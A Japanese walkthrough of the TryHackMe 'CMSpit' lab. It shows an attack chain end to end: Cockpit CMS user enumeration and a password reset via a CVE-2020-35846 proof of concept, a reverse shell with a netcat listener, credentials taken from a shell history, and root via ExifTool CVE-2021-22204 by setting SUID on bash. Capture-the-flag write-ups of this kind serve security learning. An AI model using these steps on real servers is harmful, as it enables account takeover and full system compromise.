0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

【TryHackMe】CMSpit:Walkthrough

0
Posted at

概要

TryHackMe「CMSpit」のWalkthroughです。

Task1

Q1.What is the name of the Content Management System (CMS) installed on the server?

ポートスキャンを実行します。

$ nmap -Pn -T4 -sCV -p- 10.48.175.92 -oN nmap_result

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 7f:25:f9:40:23:25:cd:29:8b:28:a9:d9:82:f5:49:e4 (RSA)
|   256 0a:f4:29:ed:55:43:19:e7:73:a7:09:79:30:a8:49:1b (ECDSA)
|_  256 2f:43:ad:a3:d1:5b:64:86:33:07:5d:94:f9:dc:a4:01 (ED25519)
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
| http-title: Authenticate Please!
|_Requested resource was /auth/login?to=/
|_http-trane-info: Problem with XML parsing of /evox/about

ポートの稼働状況が分かりました。

ポート サービス バージョン
22 ssh OpenSSH 7.2p2
80 http Apache/2.4.18

Webサイトにアクセスすると、ログイン画面が表示されました。

image.png

表示名からcockpitが使用されていると分かりました。

A.cockpit

Q2.What is the version of the Content Management System (CMS) installed on the server?

ディレクトリスキャンをすると、package.jsonを発見しました。

$ dirsearch -u http://10.48.175.92

(中略)

[01:50:25] 200 -  444B  - /package.json

アクセスするとバージョン情報を得られました。

image.png

A.0.11.1

Q3.What is the path that allow user enumeration?

該当バージョンでの脆弱性を検索すると、CVE-2020-35846が見つかりました。

また、POCも見つかり脆弱性悪用に利用しているURLも分かりました。

A./auth/check

Q4.How many users can you identify when you reproduce the user enumeration attack?

以下POCを利用します。

CMSに登録されているユーザーを列挙できました。

$ python 50185.py -u http://10.48.175.92

[+] http://10.48.175.92: is reachable
[-] Attempting Username Enumeration (CVE-2020-35846) : 

[+] Users Found : ['admin', 'darkStar7471', 'skidy', 'ekoparty']

[-] Get user details For : admin
[+] Finding Password reset tokens
         Tokens Found : ['rp-e239bcc62f83e10f9d157edaa00de7dd6a0021aaa0962']
[+] Obtaining user information 
-----------------Details--------------------
         [*] user : admin
         [*] name : Admin
         [*] email : admin@yourdomain.de
         [*] active : True
         [*] group : admin
         [*] password : $2y$10$dChrF2KNbWuib/5lW1ePiegKYSxHeqWwrVC.FN5kyqhIsIdbtnOjq
         [*] i18n : en
         [*] _created : 1621655201
         [*] _modified : 1621655201
         [*] _id : 60a87ea165343539ee000300
         [*] _reset_token : rp-e239bcc62f83e10f9d157edaa00de7dd6a0021aaa0962
         [*] md5email : a11eea8bf873a483db461bb169beccec
--------------------------------------------

A.4

Q5.What is the path that allows you to change user account passwords?

POCから/auth/resetpasswordを利用していることが分かりました。

A./auth/resetpassword

Q6.Compromise the Content Management System (CMS). What is Skidy's email.

POCでユーザー詳細を調べ、skidyのメールアドレスを入手できました。

$ python 50185.py -u http://10.48.175.92
[+] http://10.48.175.92: is reachable
[-] Attempting Username Enumeration (CVE-2020-35846) : 

[+] Users Found : ['admin', 'darkStar7471', 'skidy', 'ekoparty']

[-] Get user details For : skidy
[+] Finding Password reset tokens
         Tokens Found : ['rp-e239bcc62f83e10f9d157edaa00de7dd6a0021aaa0962', 'rp-8b37f2bcbf4a7f7c77f9ab2d0097417f6a0023d2afa9b']
[+] Obtaining user information 
-----------------Details--------------------
         [*] user : admin
         [*] name : Admin
         [*] email : admin@yourdomain.de
         [*] active : True
         [*] group : admin
         [*] password : $2y$10$dChrF2KNbWuib/5lW1ePiegKYSxHeqWwrVC.FN5kyqhIsIdbtnOjq
         [*] i18n : en
         [*] _created : 1621655201
         [*] _modified : 1621655201
         [*] _id : 60a87ea165343539ee000300
         [*] _reset_token : rp-e239bcc62f83e10f9d157edaa00de7dd6a0021aaa0962
         [*] md5email : a11eea8bf873a483db461bb169beccec
--------------------------------------------
-----------------Details--------------------
         [*] user : skidy
         [*] email : skidy@tryhackme.fakemail
         [*] active : True
         [*] group : admin
         [*] i18n : en
         [*] api_key : account-21ca3cfc400e3e565cfcb0e3f6b96d
         [*] password : $2y$10$uiZPeUQNErlnYxbI5PsnLurWgvhOCW2LbPovpL05XTWY.jCUave6S
         [*] name : Skidy
         [*] _modified : 1621719311
         [*] _created : 1621719311
         [*] _id : 60a9790f393037a2e400006a
         [*] _reset_token : rp-8b37f2bcbf4a7f7c77f9ab2d0097417f6a0023d2afa9b
         [*] md5email : 5dfac21f8549f298b8ee60e4b90c0e66
--------------------------------------------

A.skidy@￰tryhackme.fakemail

Q7.What is the web flag?

adminアカウントのパスワードを変更します。

$ python 50185.py -u http://10.48.175.92

(中略)

[+] Do you want to reset the passowrd for admin? (Y/n): Y
[-] Attempting to reset admin's password:
[+] Password Updated Succesfully!
[+] The New credentials for admin is: 
         Username : admin 
         Password : b(H%kw'2C>

変更した認証情報でログインに成功しました。

image.png

/finderへアクセスするとファイル管理の画面が表示されました。

image.png

flagで検索し、フラグファイルを閲覧出来ました。

image.png

A.thm{f158bea70731c48b05657a02aaf955626d78e9fb}

Q8.Compromise the machine and enumerate collections in the document database installed in the server. What is the flag in the database?

ファイル作成をし、リバーシェル用のファイルを設置します。

image.png

設置したファイルにアクセスすると、リバーシェルを張れました。

$ nc -lvnp 1234
listening on [any] 1234 ...
connect to [192.168.183.253] from (UNKNOWN) [10.48.175.92] 34794
Linux ubuntu 4.4.0-210-generic #242-Ubuntu SMP Fri Apr 16 09:57:56 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux
 00:00:12 up  1:18,  0 users,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

.dbshellを確認すると、コマンド実行履歴からstuxの認証情報とフラグを入手できました。

www-data@ubuntu:/home/stux$ cat .dbshell 
cat .dbshell
show
show dbs
use admin
use sudousersbak
show dbs
db.user.insert({name: "stux", name: "p4ssw0rdhack3d!123"})
show dbs
use sudousersbak
show collections
db
show
db.collectionName.find()
show collections
db.collection_name.find().pretty()
db.user.find().pretty()
db.user.insert({name: "stux"})
db.user.find().pretty()
db.flag.insert({name: "thm{c3d1af8da23926a30b0c8f4d6ab71bf851754568}"})
show collections
db.flag.find().pretty()

A.thm{c3d1af8da23926a30b0c8f4d6ab71bf851754568}

Q9.What is the user.txt flag?

Username: stux,Password: p4ssw0rdhack3d!123でSSH接続できました。

$ ssh stux@10.48.175.92
stux@ubuntu:~$ id
uid=1000(stux) gid=1000(stux) groups=1000(stux),4(adm),24(cdrom),30(dip),46(plugdev),114(lpadmin),115(sambashare)

ユーザーフラグを入手できました。

stux@ubuntu:~$ cat user.txt 
thm{c5fc72c48759318c78ec88a786d7c213da05f0ce}

A.thm{c5fc72c48759318c78ec88a786d7c213da05f0ce}

Q10.What is the CVE number for the vulnerability affecting the binary assigned to the system user? Answer format: CVE-0000-0000

sudo -lで確認すると、exiftoolが許可されています。

stux@ubuntu:~$ sudo -l
Matching Defaults entries for stux on ubuntu:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User stux may run the following commands on ubuntu:
    (root) NOPASSWD: /usr/local/bin/exiftool

コマンドを実行し、バージョンを確認できました。

stux@ubuntu:~$ sudo -u root /usr/local/bin/exiftool user.txt
ExifTool Version Number         : 12.05
File Name                       : user.txt
Directory                       : .
File Size                       : 46 bytes
File Modification Date/Time     : 2021:05:22 19:42:35-07:00
File Access Date/Time           : 2026:05:10 00:03:12-07:00
File Inode Change Date/Time     : 2021:05:22 19:46:11-07:00
File Permissions                : rw-------
File Type                       : TXT
File Type Extension             : txt
MIME Type                       : text/plain
MIME Encoding                   : us-ascii
Newlines                        : Unix LF
Line Count                      : 1
Word Count                      : 1

該当のバージョンでの脆弱性を検索すると、CVE-2021-22204が見つかりました。

A.CVE-2021-22204

Q11.What is the utility used to create the PoC file?

この脆弱性ではdjvumakeを悪用します。

# Run djvumake
    subprocess.run(['djvumake', 'exploit.djvu', "INFO=1,1", 'BGjp=/dev/null', 'ANTz=payload.bzz'])

A.djvumake

Q12.Escalate your privileges. What is the flag in root.txt?

POCを実行し、悪用するための画像ファイルを作成します。

stux@ubuntu:~$ python3 poc.py -c "id"

stux@ubuntu:~$ ls -la

(中略)

-rw-rw-r-- 1 stux stux  313 May 10 00:39 image.jpg

作成した画像ファイルをexiftoolに読み込ませると、任意コードの実行に成功しました。

stux@ubuntu:~$ sudo -u root /usr/local/bin/exiftool image.jpg 
uid=0(root) gid=0(root) groups=0(root)

bashにSUIDをセットするコマンドでPOCを再度実行します。
再度exiftoolを実行すると、bashにSUIDをセット出来ました。

stux@ubuntu:~$ python3 poc.py -c "chmod u+s /bin/bash"
stux@ubuntu:~$ sudo -u root /usr/local/bin/exiftool image.jpg
stux@ubuntu:~$ ls -la /bin/bash 
-rwsr-xr-x 1 root root 1037528 Jul 12  2019 /bin/bash

bashで権限昇格に成功しました。

stux@ubuntu:~$ /bin/bash -p
bash-4.3# id
uid=1000(stux) gid=1000(stux) euid=0(root) groups=1000(stux),4(adm),24(cdrom),30(dip),46(plugdev),114(lpadmin),115(sambashare)

ルートフラグを入手できました。

bash-4.3# cat /root/root.txt 
thm{bf52a85b12cf49b9b6d77643771d74e90d4d5ada}

A.thm{bf52a85b12cf49b9b6d77643771d74e90d4d5ada}

0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?